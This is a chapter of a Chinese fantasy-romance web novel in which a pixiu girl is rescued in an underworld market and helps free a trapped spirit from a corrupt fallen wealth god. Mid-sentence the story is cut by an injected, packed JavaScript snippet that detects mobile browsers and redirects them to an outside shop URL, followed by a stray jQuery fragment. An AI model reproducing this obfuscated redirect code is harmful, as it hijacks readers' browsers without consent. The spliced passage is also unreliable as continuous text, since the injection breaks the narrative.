文趣网 > 其他小说 > 财神他总想让我吐钱 > 21. 重逢遇元
    心底的惶恐愈加浓重,鼻尖也泛起了酸涩。

    她张了张嘴想大声呼喊,可又忌惮这阴市里蛰伏的邪祟,生怕出声引来祸患,只能压着颤巍巍的嗓音,怯生生轻唤。

    “老大,你在哪里……”

    阴冷的气息掠过,周遭依旧死寂一片,唯有一只不知哪来的妖怪,故意用极为阴森的腔调,在一旁鹦鹉学舌:“老大~你在哪里~”

    白璎婪被吓了一跳,那尖利诡异的声响,戳破了她最后一点隐忍,眼眶唰地一下就红透了,澄澈的眼眸瞬间蒙上一层又一层的水雾,泪珠在眼角摇摇欲坠。

    凡人肉身多思敏感,纷杂心绪无端翻涌。无数零碎画面如走马灯般在白璎婪脑海里飞速掠过,连往日她独自摸索去往周怀方府邸的记忆,也骤然破土而出,缠绕心头。

    老大这般抛下她,并不是第一次。

    可明明早已经历过,心口的酸涩却比过往每一次都汹涌。

    她垂着眸,暗自懊恼,愈发觉得自己古怪矫情。

    小嘴微微瘪起,鼻尖泛红,积攒的委屈与不安漫遍胸膛,细碎软糯的呜咽混着浓重哭腔,断断续续地在寂静阴地里响起。

    “讨厌鬼!大坏蛋!把我丢在这里……我也不要你了,再也不喜欢你了……”

    委屈的呢喃越来越轻,泪水却越蓄越盛:“呜呜……不要你了……不喜欢你了……”

    暗处蛰伏的妖物窥见她落泪委屈的模样,非但毫无恻隐,反倒愈发亢奋,刻意模仿着她软糯哽咽的语调,极尽戏谑嘲弄。

    “呜呜~不要你了~再也不喜欢了~”

    一道凛冽璀璨的金光骤然划破沉沉晦暗,如惊雷乍落,瞬间死死缠锁住作祟的妖邪。

    金绳缚体,力道狠绝,瞬息封死它的口鼻,令它四肢僵硬、动弹不得,再发不出半点声响。

    “额……”

    妖邪疯狂扭动身躯,拼尽全力想要挣脱桎梏,濒死之际余光骤亮,只见一道挺拔黑影携漫天清贵威压,步步逼近。

    来人一袭长袍曳地,身姿矜贵卓然,与生俱来的清冷高贵气场席卷四方,唇角却噙着一抹浅淡又漠然的嗤笑,居高临下地睨着阶下困兽。

    低低一声轻嗤,尽是不屑。

    彼时的白璎婪,依旧沉溺在翻涌的悲伤里无法自拔,全然无心探究耳边嘲弄声骤然断绝的缘由。

    水雾氤氲了一双澄澈眼眸,温热的泪珠源源不断地滚落,打湿了衣襟。

    就在这片死寂的阴地中,一道慵懒飘忽的声线穿透层层阴气,由远及近,像是踏过无边孤寂黑暗,精准循着她的气息,只为寻她而来。

    白璎婪背脊一阵发麻。

    那是她刻入骨髓、无比熟悉的嗓音。

    褪去平日的清冷疏离,低沉磁性,带着浅浅的玩味与蛊惑,轻轻落在她耳畔。

    “噢?”

    “是哪个大坏蛋,害我们招招这么难过?”

    白璎婪泪凝于睫,浑身一僵,哽咽卡在喉咙。

    泪意行至半途,在此刻找到了归处。

    宛如在狂风浊浪中飘摇许久、无处停泊的小小孤舟,终于撞进了安稳港湾。

    又似漫天寒雾裹挟的暗夜,被一束温热明亮的光骤然劈开,驱散了周身所有冰冷与惶然。

    积压了许久的酸楚与无助轰然爆发,热泪再次挣脱桎梏,顺着白皙的脸颊无声滚落。

    羽扇般的长睫簌簌轻颤,纷乱的心绪骤然清明。情急之下,她竟骤然悟得变回貔貅的法子。

    原来还能变回原形。

    一回到貔貅之身,她便敏锐察觉到赵玄章探来的神念。

    温柔却强势,试图与她相接。

    白璎婪心头还堵着别扭与怨气,断然不肯让他窥见自己此刻脆弱狼狈的心境,只顾着迈开短短的兽爪往后躲闪逃窜,拼尽全力抵挡着对方的神念,不肯接通。

    可她细碎的步子还未走远,身后便覆来一道温热气息,带着他独有的清香,后脖颈随之传来压力和温度。

    小小的貔貅身躯被凌空拎起,四只软软的小短爪下意识在空中慌乱蹬踏。身形被迫翻转的刹那,她猝不及防撞进男人那双深不见底的眼眸里。

    那双眸子一如既往的沉静冷漠。

    跟她完全不一样。

    他薄唇轻启,一字一句:“跑什么?你,逃不掉的。”

    他的质问紧随而至。

    “既能变回貔貅原形,为何拒接我的神念?”

    “还想往哪里逃?”

    ……

    连串的问话落下,白璎婪像被震慑住一般,怔怔悬在半空,圆溜溜的金瞳湿漉漉的。

    赵玄章凝神细看,才察觉她的异样。

    小小的兽唇微微轻颤,那双澄澈的金瞳里分明盛着晶莹的水光。

    心头紧绷的弦忽而一软,眉眼间的淡漠散去几分,声线也放得平和:“没受伤吧?”

    小白貔貅定定望着他,滞愣片刻,轻轻摇了摇毛茸茸的小脑袋。

    “那就好。”

    他话音刚落,身侧便传来金宝急促的提醒:“少主,附近有邪气!”

    赵玄章闻言,抬手灵力轻扬。

    微光流转间,白璎婪的身形骤然变换,从小貔貅化作了一只软糯乖巧的小白猫。

    经过这片刻的平复,白璎婪的心绪已然安稳大半。不愿被旁人左右形态,心底暗自凝神,悄悄变回人身,眉眼间仍带着未散尽的委屈。

    赵玄章将她的举动尽收眼底,并未再多言。

    *

    “招招。”

    “招招?”

    “嗯?”

    白璎婪恍惚回过神,才发现赵玄章正凝视自己,就当她以为自己要被训话时,赵玄章只留下一句话。

    “跟紧我。”

    “哦。”

    路上飘着冥纸灰烬,鬼差押送阴魂,偶有低级邪祟游荡。

    越往深处走,阴煞之气越浓。

    四周的石碑愈发残破,雾气中隐约可见一座低矮的地宫入口。赵玄章抬手,指尖凝出一缕金光,探向地宫入口。

    金宝提醒道:“少主,虽有我结界保护,但还是要万分小心。”

    “嗯,进去看看。”赵玄章低声道,率先踏入。

    地宫正中央悬浮着数十颗灵核,大小不一,颜色各异,却无一例外被黑气缠绕,像被困在蛛网中的萤火虫。

    赵玄章上前一步,那颗灵核忽然微微一颤,一道虚弱的残魂从其中缓缓浮出。

    是一个少年的轮廓,半透明,面容模糊,浑身上下缠着黑色的锁链虚影。

    “你们是……”他的声音像从很远的地方传来,断断续续。

    赵玄章盯着他片刻,忽然问:“你是那个荒坟里的灵?凡间陈家村年年丰收,是不是你干的?”

    残魂猛然一颤:“你……你怎么知道?!”

    赵玄章语气平静:“据说呼名可赐丰收,你该是叫‘元’吧?”

    元一听忽然捂起耳朵来,似是不想听到这个称呼,“我知道了……别、别喊我名字……我现在……很厌恶自己的名字!如果可以……我、我宁愿……别人从未、从未认识过我!”

    赵玄章问他:“你理应留在荒废的坟墓中,此刻却

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575020|202454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身在此处,为何要把我们拉进阴市?”

    元连连摇头,“是苏禄他、他逼我打开裂缝……运输邪财,你们踩中的……是、是我的裂缝……”

    白璎婪听得心头一紧:“是你害我们掉进来的?”

    “对不起……”元的残魂低垂着头,“我、我没办法……他锁着我的灵核……我不照做,他就会折磨我……还有其他的……”

    “灵核是什么?”白璎婪小声问。

    赵玄章无暇回答,倒是金宝的声音飘了出来:“你可以理解为,那是元的生命本源,相当于凡人的心脏。”

    白璎婪点头:“原来如此。”

    赵玄章眉头紧皱:“其他的?”

    “他们、他们都被关在不同的地方……”元的声音越来越弱,“苏禄利用我们与生俱来的本领,把阴市的邪财……变成凡间的粮食、丝绸、玉石……再、再通过裂缝运出去,变成干净的银子……”

    白璎婪瞪大眼睛:“所以那些丰收的粮食,都是你变的?”

    元痛苦地蜷缩了一下:“是……每一次赐福,我的灵核就被抽走一分生机……土地也会越来越贫瘠。可、可我不敢停……停下来……他会让我更痛苦……”

    元抬起头,模糊的脸上竟有一丝哀求。

    “我撑不了多久了……虽然不知道你们是谁……但求你们把、把我的灵核带走吧……我不想再、再替他害人了……”

    白璎婪眼眶一红,伸手就要去抓那颗灵核:“我们带你走!”

    “别碰!”

    赵玄章一把拉住她。

    灵核周围的锁链骤然收紧,发出刺耳的摩擦声,一股浓烈的阴煞之气从中喷涌而出。

    紧接着,地宫深处传来一阵阴冷的笑声。

    “少财神大驾光临,怎么也不提前知会一声?”

    苏禄的虚影从黑暗中缓缓浮现,依然是那副腐朽的财神旧袍,眼底翻涌着贪婪与讥诮。

    赵玄章几乎是本能地抬手,一道金光掠过,将白璎婪整个人笼在其中。她的身影变的模糊,连气息都稍稍被掩盖。

    “我正愁怎么把你引进来呢,你们倒自己送上门了。”苏禄看了一眼灵核旁那道金光笼罩的模糊人影,不禁嗤笑道:“怎么,还带了个帮手?躲躲藏藏的,见不得人?”

    赵玄章冷冷道:“苏禄,你利用异兽洗钱、篡改命格、祸乱凡间,罪证确凿。今日我既然来了,就不会空手而归。”

    “空手而归?”苏禄大笑,“你以为你还能走得了?”

    他抬手一挥,地宫四周的黑气骤然凝成无数锁链,如毒蛇般朝两人缠来。

    赵玄章侧身挡在白璎婪身前,周身金光大盛,凝出一道结界,将那些锁链挡在外面。

    白璎婪缩在他身后,紧紧抱着那颗淡青色的灵核。

    她也不知道自己是怎么做到的,刚触碰锁链的那刻,腕间的金心莲光芒微闪,竟帮她抵御了锁链的反噬。

    苏禄目光始终盯着那道模糊的人影,眼底满是狐疑:“那是什么力量?赵玄章,你究竟带了什么人来?!”

    赵玄章没有回头,但唇角微微弯了一下。

    “抱紧。”

    他低声叮嘱,胸口的玉牌发出最后一道金光,猛地炸开地宫入口的封印。

    苏禄的虚影被气浪冲散,只留下一句咬牙切齿的怒吼:“赵玄章!你跑不掉的!还有你身边那个藏头露尾的东西,我迟早会看清你的样子!”

    怀中的灵核微微发着淡青色的光,赵玄章揽着白璎婪,从裂缝中一跃而出。

    身后的怒吼没入风中,逐渐消散殆尽。